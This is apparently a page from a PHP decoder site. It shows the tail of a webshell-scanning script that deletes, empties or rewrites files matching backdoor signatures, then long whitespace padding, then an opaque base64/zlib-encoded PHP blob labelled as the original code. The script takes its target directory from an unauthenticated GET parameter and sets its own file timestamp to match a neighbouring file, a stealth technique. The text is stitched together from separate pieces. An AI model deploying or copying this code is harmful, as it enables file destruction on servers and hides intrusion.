        if (strpos($content, $a[0]) !== false) { return replace_file($a[0], $a[1], $content, $file); } 
    }

    //  
    if ($esc < 3 && $len > 300 && substr_count($content, "\x") > 20) { return empty_file($file); }
    if (strpos($content,"=\$_COOKIE;") !== false && $len < 300) { return empty_file($file); }
    if (strpos($content,"announcement.)*/") !== false && $len > 33000) { return empty_file($file); }
    if (strpos($content,"ction hex2ascii(") !== false && strpos($content,"sert_options(ASSER") !== false) { return empty_file($file); }
    if (strpos($content,"Set the platform root") !== false && (strpos($content,"(\$_POST)") !== false || strpos($content," \$_POST ") !== false)) { return empty_file($file); }
    if (substr_count($content, ".\$GLOBALS[") > 10 && $phpstart == 1) { return empty_file($file); }
    if (strpos($content,"/*edition:2.2*/") !== false && $len < 6400) { return delete_file($file, "/*edition:2.2*/"); }
    if (strpos($content,"/*edition:2.2*/") !== false) { return replace_file("/*edition:2.2*/", "//", $content, $file); } 
    if (strpos($content,"echo \$_FILES[\"filename\"][\"name") !== false && $len < 500 && $phpstart == 1) {  return delete_file($file, "echo \$_FILES[\"filename\"][\"name"); }
    if ($len < 1000 && $x > 20 && substr_count($content, "sprintf(\"%c\", ") == 2 && $phpstart == 1) {  return delete_file($file, "sprintf(\"%c\", "); }
    if ($len < 25500 && $len > 25000 && strpos($content,"a6196.'//');") !== false) { return delete_file($file, "a6196.'//'); | wp-temporary.php"); }

    if ($esc*5 < $bucks) { return warn_file($file, $content, "(bucks ".($esc*5)." ".$bucks.") "); }
    if ($esc < 3 && $len > 300 && substr_count($content, ":") < 20) { return warn_file($file, $content, "esc < 3 && len > 300"); }
    if (strpos($content,"\$GLOBALS[") !== false && substr_count($content, "\x") > 10) {  return warn_file($file, $content, "(globals) "); }
    if (substr_count($content, "\x") > 999) {  return warn_file($file, $content, "\x"); }
    if ($spaces < 100 && $len > 20000 && !strpos($content,"/*this is a base64")) { return warn_file($file, $content, "len > 20k; spaces < 100"); }
    if (substr_count($content, "\nfunction ") > 200) {  return warn_file($file, $content, "function > 200"); }
    if ($len == 491 && strpos($content,"move_uploaded_file") !== false && strpos($content,"../../../wp-includes/wp-content.php") !== false) { return delete_file($file, "move_uploaded_file"); }
    if ($len < 4000 && strpos($content,"move_uploaded_file") !== false && strpos($content,"Max's File Uploader") !== false) { return delete_file($file, "move_uploaded_file"); }
    if ($len < 200 && $esc == 0 && $bucks == 0 && strpos($content,")); } unlink(__FILE__); /*") !== false) { return delete_file($file, "file_exists"); }
    if ($len < 2500 && strpos($content,"register_shutdown_function") !== false && strpos($content,"_POST['d']") !== false) { return delete_file($file, "file_exists"); }
    if ($double_php && substr_count($content, "explode(chr((") > 1) {  return warn_file($file, $content, "double_php"); }

    //   - warn_list_main
    if ($len < 700000) {
        foreach($main_warn_list as $warn) {
            if (strpos($content, $warn) !== false) { return warn_file($file, $content, $warn); }
        }
    }

}

// -----------------------------------------------------------------------------

function replace_file($a, $b, $content, $file, $reason="")
{
    if(!$content) { $content = @file_get_contents($file); }
 
    $perms = fileperms($file); //decoct(fileperms($file) & 0777);
    chmod($file, 0644); 
    file_put_contentz($file, str_replace($a, $b, $content));
    chmod($file, $perms); 

    return array('action' => 'replace', 'file' => $file);
}

// -----------------------------------------------------------------------------

function warn_file($file, $content, $reason="")
{
    if (strlen($content) > 300000) { $content = "BIG"; }
    return array('action' => 'warning', 'reason' => $reason, 'file' => $file);
}

// -----------------------------------------------------------------------------

function empty_file($file, $reason="")
{
    if (!is_writable($file)) { chmod($file, 0755); }
    if (!is_writable($file)) { unlink($file); }

    file_put_contentz($file, "");

    return array('action' => 'empty', 'reason' => $reason, 'file' => $file);
}

// -----------------------------------------------------------------------------

function delete_file($file, $reason="")
{
    unlink($file);
    return array('action' => 'delete', 'reason' => $reason, 'file' => $file);
}

// -----------------------------------------------------------------------------

function file_put_contentz($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';

    $f = @fopen($n, $mode);
    if ($f === false) {
        //echo "ERROR ".$n."\n";
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }
}

// -----------------------------------------------------------------------------

function startsWith($haystack, $needle, $lower=False)
{
    if($lower) { $haystack = strtolower($haystack); }

    $length = strlen($needle);
    return (substr($haystack, 0, $length) === $needle);
}

// -----------------------------------------------------------------------------

function endsWith($haystack, $needle, $lower=False)
{
    if($lower) { $haystack = strtolower($haystack); }

    $length = strlen($needle);
    return $length === 0 || (substr($haystack, -$length) === $needle);
}

// -----------------------------------------------------------------------------

$finder_dir = $_SERVER["DOCUMENT_ROOT"];
if (!empty($_GET["dir"])) { $finder_dir = $_GET["dir"]; }

$response = find_suspectt($finder_dir, array());
print_r($response);

}

else {

    //       
    $handle = opendir(dirname(__FILE__));
    while (($filetmp = readdir($handle)) != basename($_SERVER['SCRIPT_NAME'])) { $filebefo = $filetmp; }
    $fileafter = readdir($handle);
    closedir($handle);

    if ($filebefo != false) { $time = filemtime($filebefo); }
    elseif ($fileafter != false) { $time = filemtime($fileafter); }

    touch(basename($_SERVER['SCRIPT_NAME']),$time,$time);
}

die();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          

Did this file decode correctly?

Original Code

<?php
$IonTester='
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
